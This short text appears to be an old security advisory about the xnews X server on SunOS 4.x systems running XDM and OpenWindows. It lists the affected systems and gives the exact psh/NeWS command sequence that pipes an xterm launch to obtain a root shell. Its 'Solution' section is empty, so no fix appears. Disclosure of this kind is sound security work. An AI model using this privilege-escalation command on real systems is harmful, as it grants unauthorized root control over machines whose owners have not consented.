xnews Systems Affected: SunOS 4.x running XDM and using xnews X server. Problem: You can get a root shell on such a system. To get a shell do: /usr/openwin/bin/psh /NeWS 3 0 findpackages beginpackage executive (/usr/local/bin/xterm -display localhost:0) pipe This give a root shell with OpenWindows and SunOS 4.x. You have to be logged bia XDM. Solution: